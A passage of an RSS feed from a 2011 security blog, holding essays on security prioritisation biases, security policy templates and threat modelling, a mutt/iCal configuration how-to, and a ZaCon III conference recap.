 external audit selling &amp;quot;add-ons&amp;quot; like identity management audits 
(sometimes, they&#039;re even incentivised to).&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Auditor skills&lt;/strong&gt;. The auditor you get could be an 
amazing business process auditor but useless when it comes to infosec, 
but next year it could be the other way around. It&#039;s equally possibly 
with internal audit. Thus, the strengths of the auditor will determine 
where you get nailed the hardest.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;The Rotation plan&lt;/strong&gt;. This year system X, next year 
system Y. It doesn&#039;t mean system X has gotten better, just that they 
moved on. If you spend your year responding to the audit on system Y and
 ignore X, you&#039;ll miss vital stuff.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Known systems&lt;/strong&gt;. External and internal auditors 
don&#039;t know IT&#039;s business in detail. There could be all sorts of critical
 systems (or pivot points) that are ignored because they weren&#039;t in the 
&amp;quot;flow of financial information&amp;quot; spread sheet.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Vendors
&lt;/strong&gt;
Security vendors are the love to hate people in the infosec world. 
Thinking of them invokes pictures of greasy salesmen phoning your CIO to
 ask if your security chumps have even thought about network admission 
control (true story). On the other hand if you&#039;ve ever been a small team
 trying to secure a large org, you&#039;ll know you can&#039;t do it without 
automation and at some point you&#039;ll need to purchase some products. 
Their marketing and sales people get all over the place and end up 
driving controls; whether it&#039;s “management by in-flight magazine”, an 
idea punted at a sponsored conference, or the result of a sales meeting. 

&lt;p&gt;But security vendors prioritisation of controls are driven by:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;New Problems&lt;/strong&gt;. Security products that work 
eventually get deployed everywhere they&#039;re going to be deployed. They 
continue to bring in income, but the vendor needs a new bright shiny 
thing they can take to their existing market and sell. Thus, new 
problems become new scary things that they can use to push product. 
Think of the Gartner hype curve. Whatever they&#039;re selling, be it DLP, 
NAC, DAM, APT prevention or IPS if your firewall works more like a 
switch and your passwords are all &amp;quot;P@55w0rd&amp;quot; then you&#039;ve got other 
problems to focus on first.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Overinflated problems&lt;/strong&gt;. Some problems really aren&#039;t
 as big as they&#039;re made out to be by vendors, but making them look big 
is a key part of the sell. Even vendors who don&#039;t mean to overinflate 
end up doing it just because they spend all day thinking of ways to 
justify (even legitimate) purchases.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Products as solutions&lt;/strong&gt;. Installing a product 
designed to help with a problem isn&#039;t the same as fixing the problem, 
and vendors aren&#039;t great at seeing that (some are). Take patch 
management solutions, there are some really awesome, mature products out
 there, but if you can&#039;t work out where your machines are, how many 
there are or get creds to them, then you&#039;ve got a long way to go before 
that product starts solving the problem it&#039;s supposed to.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Pentesters&lt;/strong&gt; 
&lt;p&gt;Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a 
flurry of media reports hit the public and some people go into panic 
mode. I remember &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Dan_Kaminsky%22%20%5Cl%20%22Flaw_in_DNS&quot;&gt;The DNS bug&lt;/a&gt;,
 where all that was needed was for people to apply a patch, but which, 
due to the publicity around it, garnered a significant amount of 
interest from people who it usually wouldn&#039;t, and probably shouldn&#039;t 
have cared so much. But many pentesters trade on this publicity; and 
some pentesting companies use this instead of a marketing budget. That&#039;s
 not their only, or primary, motivation, and in the end things get 
fixed, new techniques shared and the world a better place. The cynical 
view then is that some of the motivations for vulnerability researchers,
 and what they end up prioritising are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;New Attacks&lt;/strong&gt;. This is somewhat similar to the vendors optimising for &amp;quot;new problems&amp;quot; but not quite the same. When Errata introduced &lt;a href=&quot;http://erratasec.blogspot.com/2007/08/sidejacking-with-hamster_05.html&quot;&gt;Hamster at ToorCon ‘07&lt;/a&gt;,
 I heard tales of people swearing at them from the back. I wasn&#039;t there,
 but I imagine some of the calls were because Layer 2 attacks have been 
around and well known for over a decade now. Many of us ignored 
FireSheep for the same reason, even if it motivated the biggest moves to
 SSL yet. But vuln researchers and the scene aren&#039;t interested, it needs
 to be shiny, new and leet . This focus on the new, and the press it 
drives, has defenders running around trying to fix new problems, when 
they haven&#039;t fixed the old ones.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Complex Attacks&lt;/strong&gt;. Related to the above, a new 
attack can&#039;t be really basic to do well, it needs to involve 
considerable skill. When Mark Dowd released his &lt;a href=&quot;http://chargen.matasano.com/chargen/2007/7/3/this-new-vulnerability-dowds-inhuman-flash-exploit.html&quot;&gt;highly complex flash attack&lt;/a&gt;,
 he was rightly given much kudos. An XSS attack on the other hand, was 
initially ignored by many. However, one lead to a wide class of 
prevalent vulns, while the other requires you to be, well, Mark Dowd. 
This mean some of the issues that should be obvious, that underpin core 
infrastructure, but that aren&#039;t sexy, don&#039;t get looked at.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Shiny Attacks&lt;/strong&gt;. Some attacks are just really well 
presented and sexy. Barnaby Jack had an ATM spitting out cash and 
flashing &amp;quot;Jackpot&amp;quot;, that&#039;s cool, and it gets a room packed full of 
people to hear his talk. Hopefully it lead to an improvement in security
 of some of the ATMs he targeted, but the vulns he exploited were the 
kinds of things big banks had mostly resolved already, and how many 
people in the audience actually worked in ATM security? I&#039;d be 
interested to see if the con budget from banks increased the year of his
 talk, even if they didn&#039;t, I suspect many a banker went to his talk 
instead of one that was maybe talking about a more prevalent or relevant
 class of vulnerabilities their organisation may experience. Something 
Thinkst says much better &lt;a href=&quot;http://blog.thinkst.com/2011/01/is-answer-more-infosec-conferences.html&quot;&gt;here&lt;/a&gt;.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Individual Experience&lt;/strong&gt; 
&lt;p&gt;Unfortunately, as human beings, our decisions are coloured by a bunch
 of things, which cause us to make decisions either influenced or 
defined by factors other than the reality we are faced with. A couple of
 those lead us to prioritising different security motives if decision 
making rests solely with one person:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;Past Experience&lt;/strong&gt;. Human beings develop through 
learning and consequences. When you were a child and put your hand on a 
stove hot plate, you got burned and didn&#039;t do it again. It&#039;s much the 
same every time you get burned by a security incident, or worse, 
internal political incident. There&#039;s nothing wrong with this, and it&#039;s 
why we value experience; people who&#039;ve been burned enough times not to 
let mistakes happen again. However, it does mean time may be spent 
preventing a past wrong, rather than focusing on the most likely current
 wrong. For example, one company I worked with insisted on an overly 
burdensome set of controls to be placed between servers belonging to 
their security team and the rest of the company network. The reason for 
this was due to a previous incident years earlier, where one of these 
servers had been the source of a Slammer outbreak. While that network 
was never again a source of a virus outbreak, their network still got 
hit by future outbreaks from normal users, via the VPN, from business 
partners etc. In this instance, past experience was favoured over a 
comprehensive approach to the actual problem, not just the symptom.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;New Systems&lt;/strong&gt;. Usually, the time when the most 
budget is available to work on a system is during its initial 
deployment. This is equally true of security, and the mantra is for 
security to be built in at the beginning. Justifying a chunk of security
 work on the mainframe that&#039;s been working fine for the last 10 years on
 the other hand is much harder, and usually needs to hook into an 
existing project. The result is that it&#039;s easier to get security built 
into new projects than to force an organisation to make significant 
“security only” changes to existing systems. The result in those that 
present the vulnerabilities pentesters know and love get less frequently
 fixed.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Individual Motives&lt;/strong&gt;. We&#039;re complex beings with all 
sorts of drivers and motivations, maybe you want to get home early to 
spend some time with your kids, maybe you want to impress Bob from 
Payroll. All sorts of things can lead to a decision that isn&#039;t 
necessarily the right security one. More relevantly however, security 
tends to operate in a fairly segmented matter, while some aspects are 
“common wisdom”, others seem rarely discussed. For example, the way the 
CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up 
their controls and choose their focus could be completely different, but
 beyond general industry chit-chat, there will be little detailed 
discussion of how they&#039;re securing integration to their dealership 
network. They rely on consultants, who&#039;ve seen both sides for that. Even
 then, one consultant may think that monitoring is the most important 
control at the moment, while another could think mobile security is it.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;So What?&lt;/strong&gt; 
&lt;p&gt;The result of all of this is that different companies and people push
 vastly different agendas. To figure out a strategic approach to 
security in your organisation, you need some objective risk based 
measurement that will help you secure stuff in an order that mirrors the
 actual risk to your environment. While it&#039;s still a black art, I 
believe that Threat Modelling helps a lot here, a sufficiently 
comprehensive methodology that takes into account all of your 
infrastructure (or at least admits the existence of risk contributed by 
systems outside of a “most critical” list) and includes valid 
perspectives from above tries to provide an objective version of reality
 that isn&#039;t as vulnerable to the single biases described above.&lt;/p&gt; 
&lt;/div&gt; 
    </content:encoded>

    <pubDate>Tue, 01 Nov 2011 19:17:28 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1039-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>mutt &amp; iCal (some OSX specific)</title>
    <link>http://www.singe.za.net/blog/archives/1038-mutt-iCal-some-OSX-specific.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1038-mutt-iCal-some-OSX-specific.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1038</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1038</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;I moved back to the world of civilized e-mail, i.e. mutt. It&#039;s been wonderful, and I particularly enjoy hacking my mailcap to display things just how I like them (no PDF sploits for me). However, OSX&#039;s handling of calendar files is very irritating in that iCal tries to send responses via Mail.app without giving you much of a chance to do anything. I&#039;d rather handle it in mutt and the cli. This is also generally useful for people using mutt who want to handle calendar files.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;I found a script &lt;a href=&quot;https://github.com/marvinthepa/mutt-ical&quot;&gt;mutt-ical&lt;/a&gt;, which does most of what I wanted; parse the ics, ask me what I want to do, then mail the organiser with my response. I made some changes to make it support Outlook generated calendar files, not override your mutt &amp;quot;send&amp;quot; settings, and display the calendar details in plaintext before you decide to accept/decline/tentative it.&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Download my version &lt;a href=&quot;https://github.com/singe/mutt-ical&quot;&gt;here&lt;/a&gt;. (&lt;del&gt;I&#039;d submit a patch, but the developer has no working contact details&lt;/del&gt; I worked out how git pull request work :) )&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Copy it into somewhere in your PATH, (or you can specify the PATH in your .mailcap)&lt;/li&gt; 
&lt;li&gt;Edit your mailcap to have the following line:&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;text/calendar; &amp;lt;path&amp;gt;mutt-ical.py -i -e 
&amp;quot;user@domain.tld&amp;quot; %s&lt;/font&gt;&lt;/li&gt; 
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;For added fun on OSX, you can extend it to the following, to get iCal to open it nicely too (iCal cares not for mime types it seems):&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;&lt;/font&gt;text/calendar; open %s &amp;amp;&amp;amp; ~/bin/mutt-ical.py -i -e &amp;quot;dominic@sensepost.com&amp;quot; %s; nametemplate=%s.ics&lt;br /&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;del&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;text/calendar; mv %s %s.ics &amp;amp;&amp;amp; open %s.ics &amp;amp;&amp;amp; &amp;lt;path&amp;gt;mutt-ical.py -i -e &amp;quot;user@domain.tld&amp;quot; %s.ics &amp;amp;&amp;amp; rm %s.ics &lt;/font&gt;&lt;/del&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;(I found nametemplate fixes this problem)&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;You can force iCal to stop trying to send mail on your behalf by replacing the file&lt;font face=&quot;courier new,courier,monospace&quot;&gt; /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt &lt;/font&gt;with your own ActionScript. I went with the following: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;error number -128&lt;/font&gt; Which tells it that the user cancelled the action.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;ul&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;Open AppleScript Editor, paste the code from above into a new script, then save it.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;Move the old script &lt;/font&gt;&lt;/font&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;just in case you want to re-enable the functionality.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;Copy your new script into place.&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 24 Oct 2011 18:56:47 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1038-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>ZaCon III - TBOY</title>
    <link>http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1036</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1036</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;h2&gt;TBOY - The Best One Yet&lt;/h2&gt; 
&lt;p&gt;ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.&lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;&amp;quot;It looks a bit eclectic&amp;quot; &lt;br /&gt;&lt;/h2&gt; 
&lt;p&gt;Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as &amp;quot;what I always imagined ZaCon should be&amp;quot; which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.&lt;/p&gt; &lt;h2&gt;Coffee was Flowing, Hangovers were Showing &lt;br /&gt;&lt;/h2&gt; 
&lt;p&gt;Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, 
but by the first tea break we had a duct taped alternative projector 
stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks 
started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt &amp;amp; Prince Sihlahla. Our local site &lt;a href=&quot;http://local.zacon.org.za&quot;&gt;(local.zacon.org.za,&lt;/a&gt; up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.&lt;/p&gt; 
&lt;p&gt;My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The &amp;quot;can I go to jail if&amp;quot; talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we&#039;re thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.&lt;/p&gt; 
&lt;p&gt;We&#039;ll be collecting slides, &lt;a href=&quot;http://www.discussit.co.za/&quot;&gt;DiscussIT&lt;/a&gt; will be publishing audio, and some time later we&#039;ll try get the videos out. &lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;ZaCon IV&lt;/h2&gt; 
&lt;p&gt;We&#039;ve got pages of things to improve on for next year, and hopefully we&#039;ll be able to retain the TBOY label. In the meantime, it&#039;s never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the &lt;a href=&quot;mailto:community@zacon.org.za&quot;&gt;community@zacon.org.za&lt;/a&gt; mailing list or join the #zacon chan on irc.atrum.org.&lt;/p&gt; 
&lt;h2&gt; Thanks&lt;/h2&gt; 
&lt;p&gt;So many people did so many things, here&#039;s a brief list of people who need thanking in no particular order&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The speakers - without you guys there&#039;s no con&lt;/li&gt; 
&lt;li&gt;People@ - you know who you are&lt;/li&gt; 
&lt;li&gt;The volunteers&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;Local site - Ralfe&lt;/li&gt; 
&lt;li&gt;Internets - Peter, Prince&lt;/li&gt; 
&lt;li&gt;Registration - Tim, Ross&lt;/li&gt; 
&lt;li&gt;Badges - Andrew&lt;/li&gt; 
&lt;li&gt;Venue - Sagi &amp;lt;-- Big shouts to this guy, who did some some hard work&lt;/li&gt; 
&lt;li&gt;Audio &amp;amp; Video - Tony and Jameel&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;Attendees - presenting to an empty room wouldn&#039;t be as much fun&lt;/li&gt; 
&lt;li&gt;University of Johannesburg - for hosting us&lt;/li&gt; 
&lt;li&gt;Cafe Pronto - for the coffee&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 10 Oct 2011 09:20:15 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1036-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Security Policies - Go Away</title>
    <link>http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1035</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1035</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This is re-published, from &lt;a href=&quot;http://www.sensepost.com/blog/5953.html&quot;&gt;the original&lt;/a&gt; on the SensePost blog.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;Security policies are necessary, but their focus is to the detriment of 
more important security tasks. If auditors had looked for trivial SQL 
injection on a companies front-page as hard as they have checked for 
security polices, then maybe our industry would be in a better place. I 
want to make this go away, I want to help you tick the box so you can 
focus on the real work. If you just want the &amp;quot;tool&amp;quot; skip to the end.

&lt;/p&gt; &lt;p&gt;A year and a half ago, SensePost started offering &amp;quot;build it&amp;quot; rather 
than &amp;quot;break it&amp;quot; consulting services, we wanted to focus on technical, 
high-quality advisory work. However, by far the most frequently 
&amp;quot;consulting&amp;quot; request we&#039;ve seen has been asking for security policies. 
Either a company approaches us looking for them explicitly or they want 
them bolted on to other work. The gut feel I&#039;ve picked up over the years
 is that if someone is asking you to develop security policies for them,
 then either they&#039;re starting on security at the behest of some external
 or compliance requirement or they&#039;re hoping that this is the first step
 in an information security program. (Obviously, I can&#039;t put everything 
into the same bucket, but I&#039;m talking generally) Both are rational 
reasons to want to get your information security policies sorted, but 
getting outside consultants to spend even a week&#039;s worth of time 
developing them for you, is time that could be better spent in my 
opinion. My reasons for this are two-fold:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;If you&#039;re starting a security program, then you have a lot to learn
 and possibly a lot of convincing of senior management to do. Something 
like an internal penetration test (not that I&#039;m advocating this 
specifically instead of policy) will give you far more insight into the 
security of your environment and a lot more &amp;quot;red ink&amp;quot; that can be used 
to highlight the risk to the &amp;quot;higher ups&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Security policies don&#039;t &amp;quot;do&amp;quot; anything. They are a representation of
 management&#039;s intention and agreements around security controls, which 
in the best case, provide a &amp;quot;cover my ass&amp;quot; defense if an employee takes 
you to task for intercepting their e-mails or something similar. The 
policies need to be used to derive actual controls, and are not controls
 in themselves.&lt;/li&gt; 
&lt;/ul&gt;
Instead, we too often end up in a world where &lt;strong&gt;security policies&lt;/strong&gt;,
 rather than good security, is the end goal while new technologies keep 
us amused developing new ones (mobile policies, social media policies, 
data leakage policies etc.) 



&lt;p&gt;Saying all of this is fine, but it doesn&#039;t make the auditors stop 
asking, and it doesn&#039;t put a green box or tick in the 
ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I&#039;ve pointed 
people at existing policy repositories, where sample policies can be 
downloaded and modified to suit their need. Sites such as &lt;a href=&quot;http://www.csoonline.com/article/486324/security-tools-templates-policies&quot;&gt;CSOOnline&lt;/a&gt; or &lt;a href=&quot;http://www.packetsource.com/categories/security-policies/sample-policies/&quot;&gt;PacketSource&lt;/a&gt; have links to some policies, but by far the most comprehensive source of free security policy templates is &lt;a href=&quot;http://www.sans.org/security-resources/policies/&quot;&gt;SANS&lt;/a&gt;.
 The problem is people seem to look at these, think it looks like work, 
and move on to a consultancy that&#039;s happy to charge for a month&#039;s worth 
of time. Even when you don&#039;t, the policies are buried in sub-pages that 
don&#039;t always make sense (for example, why is the Acceptable Use Policy 
put under &amp;quot;computer security&amp;quot;), even then several of them are only 
available in PDF form (hence not editable), even though they are 
explicitly written as modifiable templates. What I did was to go through
 all of these pages, download the documents, convert them into relevant 
formats and categorise them into a single view in a spreadsheet with 
hyperlinks to the documents. I&#039;ve also included their guidance documents
 on how to write good sec policies, and ISO 27001-linked policy 
roadmaps. I haven&#039;t modified any of the actual content of the documents,
 and those retain their original copyright. I&#039;m not trying to claim any 
credit for others&#039; hard work, merely make the stuff a little more 
accessible.&lt;/p&gt; 
&lt;p&gt;You can download the index and documents &lt;a href=&quot;http://www.sensepost.com/cms/resources/labs/tools/management/policies.zip&quot;&gt;HERE&lt;/a&gt;.&lt;/p&gt; 
&lt;p&gt;In future, I hope to add more &amp;quot;good&amp;quot; policies (a few of the SANS 
policies aren&#039;t wonderful), and also look into expanding into security 
standards (ala &lt;a href=&quot;http://benchmarks.cisecurity.org/en-us/?route=default&quot;&gt;CIS Security&lt;/a&gt;)
 in the future. If necessary, take this to a consultancy, and ask them 
to spend some time making these specific to your organisation and way of
 doing things, but please, if you aren&#039;t getting the basics right, don&#039;t
 focus on these. In the meantime, if you&#039;re looking for information 
security policies to go away, so you can get on with the bigger problems
 organisations, and our industry in general are facing, then this should
 be a useful tool.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 19 Jul 2011 13:27:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1035-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Threat Modeling vs Information Classification</title>
    <link>http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1034</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1034</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This was originally posted on the &lt;a href=&quot;http://www.sensepost.com/blog/5873.html&quot;&gt;SensePost blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;/em&gt;Over the last few years there has been a popular meme talking about 
information centric security as a new paradigm over vulnerability 
centric security. I&#039;ve long struggled with the idea of 
information-centricity being successful, and in replying to a post by &lt;a href=&quot;https://logicalsecurity.wordpress.com/2011/06/07/information-class-ed-ification/&quot;&gt;Rob Bainbridge&lt;/a&gt;, quickly jotted some of those problems down.&lt;/p&gt; 
&lt;p&gt;In pre-summary, I&#039;m still sceptical of information-classification 
approaches (or information-led control implementations)&amp;#160; as I feel they 
target a theoretically sensible idea, but not a practically sensible 
one.&lt;/p&gt; Information gets stored in information containers (to borrow a phrase from &lt;a href=&quot;http://www.cert.org/octave/&quot;&gt;Octave&lt;/a&gt;)
 such as the databases or file servers. This will need to inherit a 
classification based on the information it stores. That&#039;s easy if it&#039;s a
 single purpose DB, but what about a SQL cluster (used to reduce 
processor licenses) or even end-user machines? These should be moved up 
the classification chain because they may store some sensitive info, 
even if they spend the majority of the time pushing not-very-sensitive 
info around. In the end, the hoped-for cost-saving-and-focus-inducing 
prioritisation doesn&#039;t occur and you end up having to deploy a 
significantly higher level of security to most systems. Potentially, you
 could radically re-engineer your business to segregate data into 
separate networks such as some PCI de-scoping approaches suggest, but, 
apart from being a difficult job, this tends to counter many of the 
business benefits of data and system integrations that lead to the 
cross-pollination in the first place.

&lt;p&gt;Next up, I feel this fails to take cognisance of what we call 
&amp;quot;pivoting&amp;quot;; the escalation of privileges by moving from one system or 
part of a system to another. I&#039;ve seen situations when the low 
criticality network monitoring box is what ends up handing out the 
domain administrator password. It had never been part of 
internal/external audits scope, none of the vulns showed up on your 
average scanner, it had no sensitive info etc. Rather, I think we need 
to look at physical, network and trust segregation between &lt;strong&gt;systems&lt;/strong&gt;, and then &lt;strong&gt;data&lt;/strong&gt;.
 It would be nice to go data-first, but DRM isn&#039;t mature (read simple 
&amp;amp; widespread) enough to provide us with those controls.&lt;/p&gt; 
&lt;p&gt;Lastly, I feel information-led approaches often end up missing the 
value of raw functionality. For example, a critical trade execution 
system at an investment bank could have very little sensitive data 
stored on it, but the functionality it provides (i.e. being able to 
execute trades using that bank&#039;s secret sauce) is hugely sensitive and 
needs to be considered in any prioritisation.&lt;/p&gt; 
&lt;p&gt;I&#039;m not saying I have the answers, but we&#039;ve spent a lot of time 
thinking about how to model how our analysts attack systems and whether 
we could &amp;quot;guess&amp;quot; the results of multiple pentests across the 
organisation systematically, based on the inherent design of your 
network, systems and authentication.&amp;#160;The idea is to use that model to 
drive prioritisation, or at least a testing plan. This is probably 
closer aligned to the idea of a threat-centric approach to security, and
 suffers from a lack of data in this area (I&#039;ve started some preliminary
 work on incorporating VERIS metrics).&lt;/p&gt; 
&lt;p&gt;In summary, I think information-centric security fails in three ways;
 by providing limited prioritiation due to the high number of shared 
information containers in IT environments, by not incorporating how 
attackers move through a networks and by ignoring business critical 
functionality.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 09 Jun 2011 15:24:50 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1034-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Vodacom ZA iPhone Carrier Update</title>
    <link>http://www.singe.za.net/blog/archives/1033-Vodacom-ZA-iPhone-Carrier-Update.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1033-Vodacom-ZA-iPhone-Carrier-Update.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1033</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1033</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
